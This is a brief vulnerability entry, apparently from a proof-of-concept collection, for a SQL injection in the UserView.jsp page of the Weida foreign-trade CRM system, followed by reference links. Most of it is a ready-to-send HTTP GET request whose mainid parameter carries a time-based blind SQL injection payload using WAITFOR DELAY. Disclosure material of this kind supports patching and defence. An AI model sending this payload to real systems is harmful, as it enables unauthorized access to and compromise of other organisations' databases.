Description
维达外贸客户关系管理系统 UserView.jsp SQL注入漏洞
维达外贸客户关系管理系统 UserView.jsp SQL注入漏洞
PoC
GET /wap/common/admin/UserView.jsp?mainid=1%27%3BWAITFOR+DELAY+%270%3A0%3A8%27--%2Bq HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://cn-sec.com/archives/4777371.html
https://www.gm7.org/archives/16880
https://www.wlaqsys.com/archives/12637
https://zhuanlan.zhihu.com/p/1990942848875528611